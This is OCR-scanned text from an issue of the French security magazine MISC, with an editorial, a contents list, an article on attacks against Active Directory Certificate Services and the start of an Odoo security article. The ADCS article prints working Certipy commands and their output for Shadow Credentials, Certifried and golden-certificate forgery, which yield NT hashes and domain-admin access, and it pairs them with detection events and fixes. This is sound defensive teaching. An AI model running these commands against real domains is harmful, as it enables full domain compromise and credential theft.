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Charte de MISC

MISC est un magazine consacré a la sécurité informatigue sous tous ses
aspects {comme le systéme, le réseau ou encore la programmation) et cii les
perspectives technigues et scientifiques occupent une place prépondérante,
Toutefais, les questions connexes (modalités juridiques, menaces information-
nelles) sont galement considérées, ce qui fait de MISC une revue capable
d'appréhender la complexité croissante des systémes dinformation, et les
problémes de sécurité qui 'accompagnent. MISC vise un large public de
personnes souhaitant élargir ses connaissances en se tenant informées des
demiéres technigues et des outils utilisés afin de mettre en place una défense
adéguate. MISC propose des articles complets et pedagogiques afin d'anti-
ciper au migux les risques liés au piratage et les solutions pour y remédier,
présentant pour cela des technigues offensives autant que défensives, leurs
avantages et leurs limites, des facettes indissociables pour considérer tous
les enjeux de la sécurité informatique.

La rédaction n'est pas responsable des textes. illustrations et photos qui lui
sont communiqués par leurs auteurs. La reproduction totale ou partielle des
articles publiés dans Misc est interdite sans accord écrit de la société Les
Editiors Diamond. Sauf accord particulier, les manuscrits, photos et dessing
adressés a Misc, publiés ou non, ne sont ni rendus, ni renvoyés. Les indi-
cations de prix et d'adresses figurant dans les pages rédactionnelles sont
données & titre d'information, sans aucun but publicitaire.
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Depuis mai 2018, et 'application du RGPD, la protection des données personnelles
est désormais un sujet primordial tant pour les entreprises, les organismes publics
et les citoyens. A Iaide des sanctions dorénavant possibles, et du cadre répressif
qui 'accompagne, il a permis de responsabiliser différents acteurs, et contribue a
la transparence des fuites de données ainsi qu’a leur prompt signalement.

Cependant, force est de constater que les fuites de données d’ampleur ne se sont
pas arrétées pour autant. Pire, leurs actualités récentes montrent que des données
personnelles trés sensibles liées aux systémes frangais de santé, en février 2024,
et d’emploi, en aott 2023, sont 4 présent dans la nature.

Pour tout un chacun, il est malheureusement difficile d’en connaitre les consé-
quences et les recommandations d’usage qui nous sont formulées ne sont pas de
nature rassurante. Pour se protéger, il conviendrait d’étre vigilant en ce qui concerne
les sollicitations que 1'on peut recevoir. Cela semble peu pragmatique pour nos
concitoyens les plus dgés qui maitrisent mal 'outil informatique et encore moins
les risques liés aux usages et ceux résultant de telles fuites de données comme les
usurpations d’identité.

Tout n'est pas cependant figé et des évolutions technologiques récentes protégent
favorablement nos données personnelles. Ainsi, I'utilisation du chiffrement de bout
en bout est désormais transparente grace a de nombreuses applications sur nos
téléphones. Par ailleurs, de nombreux acteurs du Cloud proposent des solutions
de stockage devant assurer la confidentialité des données hébergées.

Néanmoins, des manques demeurent. Il est notamment compliqué de tracer
I'utilisation de nos données personnelles, de savoir ol elles sont stockées, qui les
manipulent ou a quel moment. De surcroit, les derniéres avancées du Confidential
Computing aménent a s'interroger sur I'utilisation des technologies associées afin
de limiter le partage de données sensibles et leurs manipulations par des tiers.

Coté matériel, les instructions Intel SGX et AMD SEV permettent d’exécuter des
applications dans des enclaves protégées du processeur principal du systéme. Il est
ainsi envisageable de traiter des données confidentielles dans des environnements
Cloud non maitrisés. Des cas d’usages récents consistent par exemple a exécuter
un modele d’intelligence artificielle dans une enclave avec des données qui lui
sont envoyees chiffrées. Seule 'enclave peut accéder au clair correspondant, puis
renvoie son résultat chiffré au client.

Coté cryptographie, les algorithmes de preuve a divulgation nulle de connais-
sance (Zero-knowledge proof, en anglais) ou de calcul multipartite sécurisé (se-
cure multi-party computation, en anglais) permettent d’effectuer des calculs ou
de partager des connaissances sans accéder aux informations en clair. En ce qui
concerne la protection des données personnelles, ils permettent par exemple de
veérifier si une personne est bien majeure sans divulguer son age et son identité.

Il s’agit d’avancées techniques trés prometteuses, dont les expérimentations
mériteraient d’étre plus largement partagees afin de cerner les usages aujourd’hui
possibles malgré des performances parfois limitées. Pour aller plus loin, ce numéro
contient un article pédagogique sur le chiffrement homomorphe qui vous permet-
tra de comprendre son fonctionnement, et pourquoi pas utiliser les exemples pré-
sentés pour tester vous-méme cette technologie et envisager les possibilités pour
la protection de nos données personnelles.

Guillaume VALADON -
@guedou - guillaume@miscmag.com

Pour le comité de rédaction
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ADCS, ATTAQUES ET REMEDIATIONS

Une autorité de certification est un élément cri-
tique dans le réseau interne d’une entreprise.
La présence de vulnérabilités sur cette derniére
peut conduire a la compromission du systéme
d’information de toute I’entreprise. Les atta-
quants I'ont bien compris, et ont construit au fil
des années un arsenal de techniques offensives
ciblant ce service,

A LA DECOUVERTE DODOO:
FONCTIONNEMENT ET SECURITE

Les ERP ontle vent en poupe dansles entreprises.
Surtout les gratuits et open source ! Odoo est le
meilleur exemple d’ERP++, C’est-a-dire qu'il fait a
peu pres tout avec son systeme de modules inté-
grables. Il est tres utilisé, avec plus de 7 millions
d'utilisateurs dans le monde ...

SECURITE DES MECANISMES DE

CACHE HTTP : MISE EN LUMIERE DES
TACTIQUES D'EXPLOITATION QUI MENACENT
LES SERVEURS DE CACHE ET METTENT EN
PERIL LA SECURITE DES CLIENTS

A une époque ou Internet ne cesse d'évoluer,
l'utilisation des mécanismes de cache HTTP est
devenue incontournable pour optimiser les per-
formances des sites web. Cependant, ils peuvent
aussi étre la source de nouvelles vulnérabilités. Cet
article explore donc leur sécurité en présentant
comment ces derniers peuvent étre al'origine de
failles critiques représentant une menace pour
I'intégrité des applications web et la confidentia-
lité des données des utilisateurs.

MISC N®132 - mars/avril 2024
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20 ans déja ? Oui, le premier virus pour télé-
phone portable, Cabir, est apparu sur Symbian
OS en 2004. Depuis tant de choses ont changeé :
les téléphones eux-mémes, leur adoption dans
la vie courante, le systeme d’exploitation, les
modes de propagation, les motivations a écrire
du code malveillant...

SYSTEME

COMPRENDRE ET MANIPULER
LES MECANISMES D'ISOLATION
DES CONTENEURS

Un des aspects pratiques de l'utilisation des
technologies de conteneurisation estleur capacité
a créer un environnement isolé du systéme
hote sans virtualisation ; mais celle-ci est-elle
bien connue et maitrisée de ses utilisateurs ?

SIGMA - UN FORMAT PENSE POUR
LA DETECTION SYSTEME

L’hétérogénéité des modes opératoires adverses
et des outils pour les détecter a conduit natu-
rellement a penser un format de détection
genérique, facilement compréhensible, clé de
volte d'une stratégie de détection efficace.

CRYPTOGRAPHIE

INTRODUCTION AU
CHIFFREMENT HOMOMORPHE

Des calculs dans le cloud completement confi-
dentiels, méme vis-a-vis du serveur ? Grace a
la cryptographie, cela sera sans doute bientot
possible. Du moins certains I'espérent.

ORGANISATION

PETIT VADEMECUM DE
SYNERGIES ENTRE ACTIVITES
DE CYBERSECURITE

La cybersécurité, désormais bien (mieux) instal-
lée dansle paysage institutionnel de nos sociétés
développées, n’échappe pas au morcellement
de la pensée et des pratiques qui estle devenir
de toutdomaine un tant soit peu dynamicue...

|53 ABONNEMENTS PAPIER
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ADCS, ATTAQUES ET
REMEDIATIONS

Hocine MAHTOUT - @SantOrryu / Joél HIEN - @belettetlmOree
Offensive Security Manager chez Groupe Caisse des Dépots / Tech lead chez AlgoSecure

Une autorité de certification est un élément critique dans le réseau interne d'une
entreprise. La présence de vulnérabilités sur cette derniéere peut conduire a la
compromission du systéme d'information de toute I'entreprise. Les attaquants
I'ont bien compris, et ont construit au fil des années un arsenal de techniques
offensives ciblant ce service.

mots-clés : CERTIFICAT / PENTEST / ADCS / PERSISTANCE / CVE / PKI

Les certificats sont des éléments clés dans un domaine 1.2 Modeéle de certificats
Active Directory. Ils sont utilisés pour signer des applications,
mettre en place du chiffrement TLS, les connexions RDP, ou
encore l'authentification utilisateur. Ces dernieres années,
plusieurs travaux de recherche autour des défauts de mise

Pour simplifier 1a création de certificats
dans un environnement Active Directory,
il est possible de définir des modeéles de

; i . e certificats.
en place d’'une infrastructure a clés publiques et I'utilisation
offensive de certificats ont été publiés [1-4]. Dans cet article, Ces modeles sont utilisés pour attribuer
nous présenterons des techniques offensives sur le service ~ des droits spécifiques aux certificats qui
ADCS, ainsi que les moyens de s’en prémunir.
1. INFRASTRUCTURE A
CLE PUBLIQUE DANS UN
ENVIRONNEMENT ACTIVE
D I RECTO RY 1. Le client génére

une paire de clés
asymétriques (pubkey/privatekey).

1.1 ADCS, qu’'est-ce que c'est ?

Une infrastructure a clés publiques ou PKI (Public Key
Infrastructure) est une infrastructure utilisée pour créer,
gérer et révoquer des certificats ainsi que les clés publiques/ Client <
privées associées de maniére centralisée.

5. Le client stocke le certificat

i i 7 = = ; dans le magasin de certificat et
Active Directory Certificate Service (ADCS) est 'implémen- I'utilise en accord avec les usages (EKU) définis.

tation Microsoft de I'infrastructure PKI dans un environne-

ment Active Directory/Windows. Ce service a été ajouté a

partir de Windows Server 2000.

a MISC N°132 - mars/avril 2024 miscmaa.com
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En figure 1, laliste des modéles

Ll certsry - [Certification Authority (Local)\namek-C&\Certificate Templates] - o x
File Action View Help de certificats présents & I'installa-
ol A ANRE NN 7|

v @i namek-CA

| Revoked Certificates
] Issued Certificates
_| Pending Requests

£ Cenfication Authorty (Local) || Mame

i = Directory Email Replication
| [l Domain Controller Authentication

Intended Purpose

Directory Service Email Replication
Client &uthentication, Server Authentic...

| [l Kerberos Authentication

Client Authentication, Server Authentic...

tion du service ADCS.

1.3 Demander et

| & EFS Recovery Agent File Recovery

| Failed Requests

obtenir un certificat

21 Cestificate Templites | @ Basic EFS Encrypting File System
I Domain Contraller Client Authentication, Server Authentic.., =
&l 'Web Server Server Authentication Va I I d e
& Computer Client Authentication, Server Authentic... i
F Ucer Encrypting File System, Secure Email, Cl... Une demande de certificat est

| & Suberdinate Certification Authority  <All>
5 Administrator

toujours envoyée au serveur portant
le service ADCS. Cette demande est
basée sur un modeéle de certificat
et nécessite une authentification
sur le domaine.

Microsoft Trust List Signing, Encrypting...

Fig. 1: Liste des modéles de certificats disponibles par défaut, consultable
depuis la console certsrv.msc sur I'autorité de certification.

seront émis. Par exemple, dans un modéle
de certificat, nous pouvons définir les para-

La demande de certificat s’effectue en cing étapes :
metres suivants :

1. Le client génere une paire de clés (publique/privée).

* durée de validité du certificat; 2. Le client garde sa clé privée et ne la communique a per-

sonne. [l envoie une demande de signature de certificat
(CSR pour Certificate Signing Request) auprés de I'auto-
rité de certification d'entreprise. Cette demande contient
entre autres le nom de modele de certificat, le proprié-
taire du certificat, la clé publique générée a I'étape 1.

« groupes ou utilisateurs ayant les droits
de faire la demande de certificat ;

= la maniere dont un certificat peut étre
utilisé, connue sousle nom de « Extended
Key Usage » (EKU).

Par défaut, lorsque le role ADCS estinstallé
dans un environnement Acfive Directory, dif-
férents modeles sont fournis et accessibles.
L'un d’entre eux est le modele Utilisateur ou
User. Tout utilisateur du domaine peut obte-
nir un certificat client I'utilisant.

L’autorité de certification obtient cette demande et
effectue les vérifications suivantes :

» Le modele de certificat renseigné existe-t-il ?

« Le client est-il autorisé a effectuer une demande
aupres de 'autorité de certification ?

Modéle de certificat:
Utilisateur

Certificate Signing
Request (C5R)

Modile: Utilisateur
Sujet: Namekicell
Usage (EKU): Authentification
client
Clé publique:<pubkey=>

Y

2. Le client envoie la demande de certificat (CSR)
& l'auterits de certification d'entreprise.

Certificat

Sujet: Namekicell

Usage (EKU): Authantification client
Clé publique: <pubkey=> #
Signature: =Signature de lautoriie=

dans lequel 'ensemble des informations sont signées avec sa clé privée. La signature générée y est incluse.

Usage (EKU) : Authentification
client
Permission d'enrdlement:
pour les ubilisateurs du
damaine?
Approbation d'un admin
necessaire: Non

3. Le modéle de cerlificat demande existe-t-il7
Les paramétres du CSR sont-lls autorisés
par le modele de certificat?

Le client a-t-il le droit de s'enréler pour

une demande de certificat?

Autorité de certification d'entreprise

4. L'autorité de certification génére un certificat,

Fig. 2 : Demande de certificat aupres de l'autorité de
certification.

ed-diamond.com

MISC N°132 - mars/avril 2024 n



* Le client est-il autorisé a effectuer une demande associée
au modéle renseigné ?

* efc.

3. Lautorité génére un certificat en se basant sur les parameétres
du modele, la clé publique du client y est insérée. Le tout est
signé al’aide de la clé privée de I'autorité de certification. Cette
signature est incluse dans le certificat ;

4. Le certificat est renvoyé au client. La clé privée est conservée
par le client et sera utilisée par la suite (Figure 2).

1.4 Se connecter sur le domaine avec un
certificat

Kerberos supporte I'authentification asymétrique, 'authentifica-
tion PKINIT. Au lieu de chiffrer ’horodatage pendant la préauthen-
tification (KRB_AS_REQ) avec un dérivé du mot de passe (condensat
NT pour le chiffrement RC4), il est possible de signer ’horodatage
avec la clé privée associée a un certificat valide.

NOTE
Pour une authentification Kerberos, un client (utilisateur

ou ordinateur) envoie une demande KRB_AS_REQ au service
d’authentification (AS) ; cette demande contient un message
de préauthentification qui valide Pidentité du client.

Cependant, pour que 'authentification PKINIT soit possible, il y
a plusieurs conditions, I'une d’entre elles étant que le certificat doit
avoir I'un des cingq identifiants EKU suivants :

Description Correspondance Identifiant EKU
en anglais renseigné
Authentification du Client
client Authentification ST
Authentification du !
client PKINIT (non CISE i 1.3.6.15.2.34
. Authentification
présent par défaut)
O PR S smiart Card Logon | 1861413172002
puce .
Tout objet Any Purpose 2.5.29.37.0
Autorité de | (Aucun identifiant
; : : SubCA Sy
certification secondaire n’est renseigne)

De plus, PKINIT nécessite que le domaine dispose d’une autorité
de certification d’entreprise (le service ADCS) ou que le contréleur
de domaine posséde un couple de clés asymétriques.

n MISC N®132 - mars/avril 2024
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Une fois la requéte KRB_AS REQ
regue par le controleur de domaine
ou Key Distribution Center (KDC),
celui-ci vérifiela chaine de confiance
du certificat client et les informations
de l'autorité ayant délivré le certifi-
cat. Le KDC utilise la clé publique
du client contenue dans le certificat
pour vérifier la signature de I’horo-
datage client.

Enfin il est possible, si besoin, pour
un compte client s’étant authentifié
par certificat d’obtenir son condensant
NT gréce a des mécanismes Kerberos
dont I'extension User2User (U2U).

2. ATTAQUES ET
REMEDIATIONS

2.1 Compromettre un
utilisateur du domaine
sans changer son mot
de passe (Shadow
Credentials)

2.1.1 L'attaque

A partir de Windows Server 2016,
les comptes utilisateurs et machines
de I’Active Directory possédent I'attri-
butmsDS-KeyCredentialLink (kcl)
qui peut contenir une clé publique
(associée a une clé privée conservée
par l'utilisateur ou la machine cor-
respondante).

Lors d'une authentification PKINIT,
le contréleur de domaine vérifie la
signature de I'’horodatage client com-
prise dans le KRB_AS_REQ a l'aide de
la clé publique contenue dans le certi-
ficat envoyé également. Vient alorsla
vérification de la chaine de confiance
du certificat proposé.

Deux cas de figure existent en fonc-
tion de I'attribut indiquant ’émetteur
du certificat :

miscmag.com



« s0it ce dernier contient le nom d’une
autorité de certification de confiance;

» soit ce dernier contient le nom du client
qui souhaite s’authentifier (sous for-
mat CN=<nomduclient>). Dans ce cas
précis, le KDC ira vérifier que la clé
publique stockée dans l'attribut kcl
permet bien de valider ’horodatage.

Un attaquant en mesure de modifier le
kcl pourra donc effectuer une authenti-
fication PKINIT et récupérer le condensat
NT de la victime

2.1.2 Déroulement de I'attaque

Le domaine (namek. Local) comprend
au moins un contrdleur de domaine
(dc.namek. Local) sous Windows 2016 ou
plus récent. L’authentification PKINIT est
possible sur le domaine.

Supposons qu'un attaquant sur le do-
maine namek. Local a compromis le compte
freezer@namek.local. En énumeérant
les droits associés a ce compte, 'atta-
quant constate qu’il a les dgoits d’écriture
(GenericWrite/GenerictAll) sur le compte
krilin@namek.local. 11 peut donc modi-
fier attribut msDS-KeyCredentiallink
(kcl) de ce dernier. L'attaquant crée alors un
couple de clés publique/privée, crée un cer-
tificat dans lequel il ajoute la clé publique
générée, puis crée une entree dans l'attri-
but kel de krilin en y insérant la méme clé
publique.

Enfin, l'attaquant s’authentifie avec le
certificat forgé et la clé privée associée par
PKINIT auprés du contrdleur de domaine,
La clé privée utilisée est associée a un cer-
tificat dont la clé publique est dans l'attri-
but kcl de krilin. Une fois authentifié par
PKINIT, I'attaquant peut utiliser I'extension
User2User pour obtenirle condensat du mot
de passe de krilin.

L’attaque est réalisable a 'aide d'une
commande avec 'outil Certipy [5]. Sur
la derniére ligne du terminal suivant, le
condensat du mot de passe de l'utilisateur
krilin est affiché.

ed-diamond.com
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#> certipy shadow auto -u 'freezer@namek.local' -p 'freezer'
-account krilin -de-ip 192.168.1.1
Certipy v4.8.2 - by Oliver Lyak (lydk)

[*] Targeting user 'krilin'

[*] Generating certificate

[*] Certificate generated

[*] Generating Key Credential

[*] Key Credential generated with DeviceID 'bb6f94aa-dlb6-£673-
a92¢c-98b2b4e(b958"

[*] Adding Key Credential with device ID 'bb6f94aa-dlb6-£673-
a92c-98b2b4elb958' to the Key Credentials for 'krilin'

[¥] Successfully added Key Credential with device ID 'bb6f94aa-
dlb6-£673-a92c-98b2b4e0b958' to the Key Credentials for 'krilin'
[*] Buthenticating as 'krilin' with the certificate

[*] Using principal: krilin@namek.local

[*] Trying to get TGT...

[*] Got TGT

[*] Saved credential cache to 'krilin.ccache'

[*] Trying to retrieve NT hash for 'krilin'

[*] Restoring the old Key Credentials for 'krilin'

[*] Successfully restored the old Key Credentials for 'krilin'
[*] NT hash for 'krilin': c6fclae0£23440d4939519e153d5ed6e

2.1.3 La détection

Chaque authentification PKINIT est reliée a un événement
Kerberos 4768 généré sur le controleur de domaine. Cet évene-
ment contiendra les informations sur le certificat utilisé pour
la demande d’authentification. Une surveillance particuliére
des connexions des comptes sensibles est donc conseillée.

fé’] Event Properties - Event 4768, Microsoft Windows security auditing,

General Details

4 Kerberos authentication ticket (TGT) was requested. -

Account Information:

Account Name: kerilin

Supplied Realm MName: NAMEK.LOCAL
User ID: MNAMEK: krilin

Service Informaticn:
Service Mame: krbt:

Service ID NAMEK krbtgt
Metwork Information:

Client Address: ffff:192.168.1.11

Client Port: 40356
Additional Information:

Ticket Options: 040800010

Result Code; Ol

Ticket Encryption Type: w12
Pre-Authentication Type: 16

Certificate Infermation:

Certificate Issuer Name: CM=krilin
Certificate Serial Number. 00
Certificate Thumbprint: ADE94432B9884EF5TADFBOBACIESCAI60BESAAD0 w
Log Name: Security
Source: Microsoft Windows security  Logged: 1/4/2024 9:08:58 PM
Event 1D 4768 Tesk Category: Kerberos Authentication Service
Level: Information Keywords: Audit Success
User: N/ Computer: DC.namek.local
OpCode: Info
More Inf ti Event Log Online Help

Fig. 3 : Evénement Kerberos 4768 pour une authentification PKINIT.
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Voici, en Figure 3, page précédente,
un exemple d’événement Kerberos
4768 associé a une authentification
par certificat de I'utilisateur krilin.

De plus, la modification de Pattri-
butmsDs-KeyCredentiallink d’un
compte dudomaine crée un événement
Windows 5136 [6] sur le contrdleur
de domaine. A noter que différents
services tels que Microsoft Entra
Connect Sync (ex Azure AD Sync) et
ADFS peuvent également étre amenés
a modifier cet attribut.

2.2 Certifried -
CVE-2022-26923

2.2.1 L'attaque

L'objectif est de faire croire a I’auto-
rité de certification qu'une machine en
notre possession a le méme « nom »
qu'un des contréleurs de domaine. Par
défaut,un compte dudomaine peut créer
10machines surle domaine. Reprenons
le domaine namek, nous allons a partir
d'un compte a faibles priviléges créer
un compte machine qu’on appellera
bulma.namek.local. On modifie les
attributs de ce compte machine pour
indiquer qu’on a le méme « nom »
que le contréleur du domaine, puis
on demande un certificat machine
avec ce nouveau « om ».

En détail, I'attribut « nom » qui
est modifié est le dNSHos tName (pro-
priété de'objet machine dans’Active
Directory). D’apres la documentation
Microsoft, deux machines ne peuvent
pas avoir le méme dnsHostName.
Lorsqu’on essaie de changer lattri-
but dnsHostName de la machine en
notre possession bulma.namek.local
en dc.namek.local, une erreur est re-
montée, car le contréleur de domaine
essaie de remplacer les identifiants de
service de la machine (SPN, Service
Principal Name) .
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*RestrictedKrbHost/bulma.namek.local par Restricted
KrbHost/dc.namek.local ;

* HOST/bulma.namek.local par HOST/dc.namek. local.

Un identifiant de service (SPN) est un attribut d’un objet Active
Directory (utilisateur ou ordinateur). Le compte machine bulma
ayant les droits par défaut de modifier ses attributs, peut suppri-
mer ses SPN RestrictedKrbHost/bulma.namek.local et HOST/
bulma.namek.local. Une fois cette action effectuée, la modification
de 'attribut dNSHostName de bulma.namek.local en dc.namek.
Llocal ne posera pas de probléme.

Siun modele de certificat dispose du flag SubjectAltRequireDns
(comme c’est le cas par défaut pour le modéle Machine), attribut
dNSHostName du compte machine authentifié pour effectuer la
demande de certificat est alors utilisé pour forger I'attribut X.509
DNSName du certificat renvoyé.

Enfin, lors d’'une authentification PKINIT pour une machine, le
controleur de domaine va se baser sur I'attribut DNSName du certifi-
cat pour faire la correspondance avec les comptes de I’AD. On parle
de Certificate mapping.

L’attaque est réalisable en deux commandes a l'aide de I'outil
Certipy :

* Creation d’un compte machine bulma.namek.local a partir
d’un compte a faibles priviléges et modification de Pattribut ;
dnsHostName ;

#> certipy account create -u 'krilin@namek.local' -p 'krilinpass'
-user 'bulma' -pass 'certifriedpass' -dns 'dc.namek.local’
Certipy v4.8.2 - by Oliver Lyak (lydk)

[*] Creating new account:
sAMAccountName
unicodePwd
userAccountControl
servicePrincipalName

: bulma$

: certifriedpass

: 4096

: HOST/bulma

RestrictedKrbHost/bulma

dnsHostName : de.namek.local

[*] Successfully created account 'bulma$' with password

'certifriedpass'

* Demande de certificat sur le modéle par défaut Machine aupreés
de I'autorité de certification :
#> certipy req -u 'bulma$@namek.local' -p 'certifriedpass' -target 'ca.
namek.local' -ca 'Namek-CA' -template Machine
Certipy v4.8.2 - by Oliver Lyak (lydk)

[*] Requesting certificate via REC

[¥] Successfully requested certificate

[*] Request ID is 8

[*] Got certificate with DNS Host Name 'dc.namek.local’
[*] Certificate has no object SID

[*] Saved certificate and private key to 'dc.pfx'
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On peut ensuite s’authentifier pour récupérer le
condensat NT du compte machine en utilisant le certificat
(avec clé privée) obtenu avec la commande suivante :

#> certipy auth -pfx de.pfx
Certipy v4.8.2 - by Oliver Lyak (lydk)

[*] Using principal: dc$@namek.local

[*] Trying to get TGT...

[*] Got TGT

[*] Saved credential cache to 'dc.ccache'

[*] Trying to retrieve NT hash for 'de$’

[*] Got hash for 'dcj@namek.local': aad3b435b51404e
eaad3b435b51404ee;: 96e5£2£58£007e13478cB899b4e79374d

Dans un environnement Active Directory les
contréleurs de domaine se synchronisent régulieé-
rement. Pour ce faire, les comptes machines des
contréleurs de domaine ont suffisamment de droits
pour effectuer une réplication d’'autres controleurs
de domaine. Parmi les informations répliquées, on
retrouve la base ntds.dit contenant entre autres
I’ensemble des condensats des mots de passe des
utilisateurs du domaine,.

Nous avons obtenu le condensat du mot de passe
du compte machine d’un contréleur de domaine par
'attaque Certifried, il est alors possible de récupérer
la base ntds.dit en abusant des fonctionnalités de
synchronisation des contréleurs de domaine (cette
attaque est appelée DCSync).

2.2.2 La correction

Un correctif de sécurité a été émis par Microsoft
en mai 2022 [7] pour corriger cette vulnérabilité
sur le contréleur de domaine et I’autorité de certifi-
cation. Ce correctif apporte également de nouvelles
valeurs de configuration sur le certificate mapping.
Une mauvaise configuration de ces valeurs peut ex-
poser les entreprises a de nouvelles vulnérabilités
ESC9 et ESC10 [8].

2.3 Persistance sur le domaine
grace aux certificats

2.3.1 La persistance

Les certificats étant signés numéricquement parl'auto-
rité de certification, tant qu’ils ne sont pas révoques par
cette autorité ils restent valides indépendamment du
mot de passe du compte associé au certificat (modulo
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la durée de validité du certificat). Il est ainsi possible
a partir d’un certificat de persister sur le domaine.

Si lattaquant réussit a compromettre tout le do-
maine ou simplement le serveur portant le service
ADCS. 1l est possible de volerla clé privée de I’autorité
et de se forger soi-méme n'importe quel certificat, on
parle de golden certificate.

Avec un compte privilégié (goku) disposant des
droits d’administrateur local sur une autorité de cer-
tification, Certipy permet de récupérer la clé privée
sur ce serveur (ca.namek.local) :

#> certipy ca -backup -ca 'namek-ca' -u 'gokulnamek.
local' -hashes 12032a117d370ce9£a972090f4eble28 -target
ca.namek.local

Certipy v4.8.2 - by Oliver Lyak (lydk)

Creating new service

Creating backup

Retrieving backup

Got certificate and private key

Saved certificate and private key to 'namek-CA.pfx'
Cleaning up

Le certificat de I’autorité de certification et la clé
privée associée sont récupérés et stockés dans le
fichier namek-CA.pfx.

Une fois en possession de la clé privée on peut alors
forger un certificat valide, en tant que n’importe quel
utilisateur (Administrator), pour s’authentifier sur le
domaine :

#> certipy forge -ca-pfx namek-CA.pfx -upn
'Administrator@namek.local’
Certipy v4.8.2 - by Oliver Lyak (lydk)

[*] Saved forged certificate and private key to
'administrator forged.pfx'

Nous utilisons ce certificat pour récupérer le
condensat NT du compte ciblé.

#> certipy auth -pfx administrator forged.pfx
Certipy v4.8.2 - by Oliver Lyak (lydk)

[*] Using principal: administrator@namek.local
[*] Trying to get TGT...
[*] Got TGT

[*] Saved credential cache to 'administrator.
ccache'

[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@namek.local':
aad3b435b51404eeaad3bd35b51404ee:2059024fda33e00e74

21d9b7e1d004££
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2.3.2 Correction et détection

Une surveillance particuliére des connexions
des comptes sensibles par certificat est conseil-
lée & travers I'événement 4768. D'un point de
vue durcissement, il est possible de restreindre
les comptes ayant le droit de demander un
certificat permettant de s’authentifier sur le
domaine.

La clé privée d’une autorité de certification est
un bien extrémement sensible. Il est conseillé
de mettre en place un ensemble de sous-au-
torités de certification dans lequel I'autorité
racine serait en dehors du réseau [9] et sa clé
privée serait conservée dans un équipement
de sécurité de type HSM (Hardware Security
Module) [10]. Dans le cas o1 'une des sous-au-
torités serait compromise, il suffira de révo-
quer la clé privée associée, permettant ainsi
de conserver la chaine de confiance.

Pour détecter une extraction de clé privée
d’une autorité de certification par un atta-
quant, les événements Windows 5058, 5061
et 5059 peuvent étre surveillés sur I'autorité

de certification. =
A

CONCLUSION

De la méme maniére qu'un contréleur de
domaine, une autorité de certification d'un ré-
seau d’entreprise doit étre considérée comme
critique. Le nombre d’attacques (ESC1 a ESC11,
Certifried, Shadow Credentials, CertPotato,
Golden Certificate, etc.) sur ce service est
conséquent. Vous pouvez retrouver ces attaques
sur la carte mentale de Cyril Serviéres [11].
Nous nous effor¢ons de la mettre a jour régu-
lierement pour contribuer au renforcement
de la sécurité d’'un maximum de systémes
d’information.
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Les ERP ont le vent en poupe dans les entreprises. Surtout les gratuits et open
source ! Odoo est le meilleur exemple d’'ERP++, c'est-a-dire qu'il fait a peu pres
tout avec son systéme de modules intégrables. Il est trés utilisé, avec plus de

7 millions d'utilisateurs dans le monde ! Comme nous allons le décrire dans l'ar-
ticle, son architecture modulaire laisse la porte ouverte a des attaquants avec des
vulnérabilités exploitables qui donnent un acces privilégié a I'administration de
I’'ERP. Malheureusement, laisser la main a un attaquant sur la gestion de son ERP,
c’est comme lui fournir les clés de sa maison.

mots-clés : ODOO / SECURITE / VULNERABILITES / CVE / EXPLOIT

Dans cet article, nous nous inté-
ressons aux potentielles vulnéra-
bilités que peuvent introduire les
modules externes au sein de la
plateforme Odoo. Nous nous pen-
chons d’abord sur I'architecture
de la plateforme ainsi que sur les
mécanismes de sécurité mis en
place. Nous identifions ensuite des
vecteurs d’attaque liés a I'intégra-
tion de modules externes et nous
déterminons les points d’entrée
dans le systeme. Afin d’auditer la
sécurité de ces modules, une ana-
lyse statique du code est effectuée
sur un échantillon de 3000 modules
disponibles sur I'Odoo Apps Store.
Douze vulnérabilités permettant
de compromettre l'intégralité de
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la plateforme ont ainsi pu étre
détectées au sein de modules ex-
ternes et se sont vu assigner des
identifiants CVE.

1. INTRODUCTION

Dans le contexte dynamique
du monde de I'entreprise actuel,
il devient inexorable de stocker,
organiser et traiter ses données de
maniére numérique afin de rester
compétitif et de réduire ses cotits
de fonctionnement. Odoo [ODOO]
est un progiciel de gestion intégré
(Enterprise Resource Planning,
abrégé ERP) et open source, offrant
une suite d’outils d’entreprise tels

que I'e-commerce, I'inventaire, la
comptabilité, ou encore le CRM,
regroupés sur une plateforme
unigue et interconnectes.

L’attrait majeur d’Odoo est sa
grande modularité qui permet de
personnaliserla plateforme afin de
I'adapter aux besoins de chaque en-
treprise. En effet, Odoo est constitué
d’un noyau doté de plusieurs méca-
nismes autorisant des modules ex-
ternes as’y greffer. Ces modules sont
des composants logiciels s'intégrant
alaplateforme afin d’en modifierle
comportement ou d’en étendre les
fonctionnalités. Odoo fournit toute
une documentation permettant de
développer son propre module pour
couvrir des besoins spécifiques.
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Fig. 1 : Vue simplifiée de 'architecture de la plateforme Odoo.

Afin de ne pas avoir a réinventer la roue, 'Odoo Apps
Store [OAPP] propose un large catalogue de plus de
40 000 modules a télécharger, congus pour la plupart
par des développeurs indépendants.

Néanmoins, ces modules ne sont actuellement pas
vérifiés par Odoo et la notion de sécurité n’est que
peu considérée lors du développement de ce genre
d’applications, souvent au profit d’une livraison
moins cotliteuse. Ces modules sont donc susceptibles
de contenir des bugs ou des erreurs de configuration
pouvant conduire a des failles de sécurité.

En offrant un accés aux collaborateurs (gestion
interne), aux partenaires (commandes, factures),
ainsi qu’aux clients d'une entreprise (e-commerce,
site web), une instance Odoo est souvent exposée au
monde extérieur. En outre, un progiciel de gestion
intégré contient par nature des informations sensibles,
telles que des données personnelles et financiéres,
présentant ainsi un réel intérét pour un attaquant.

En impactant le cceur administratif d’'une entre-
prise, c’est la viabilité de cette derniére qui est mise
a mal : perte du suivi des commandes et de la factu-
ration, perte de controle sur la gestion des ressources
humaines et matérielles, fuite de données confiden-
tielles, etc. Ces perturbations opérationnelles com-
binées & un temps de remédiation élevé peuvent
conduire a I'arrét total de I’activité, entrainant ainsi
d’importantes pertes financiéres.

Il est alors 1égitime de nous interroger surlanature
des problémes de sécurité émanant de ces modules
ainsi que sur les risques encourus par une instance
de la plateforme Odoo sur laquelle serait installé un
module vulnérable.
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2. FONCTIONNEMENT D'ODOO

Dans cet article, nous nous concentrons exclusi-
vement sur Pinteraction entre le noyau d’Odoo et
les modules installés autour de celui-ci, ainsi qu’aux
mécanismes de sécurité mis en place.

2.1 Architecture

Odoo repose sur la traditionnelle architecture
client-serveur. Une vue simplifiée de I'architecture
est présentée sur la figure 1.

Cette architecture est implémentée en utilisant le
motif Modéle-Vue-Contréleur (MVC), dans lequel les
données et la logique (le modéle) sont séparées de la
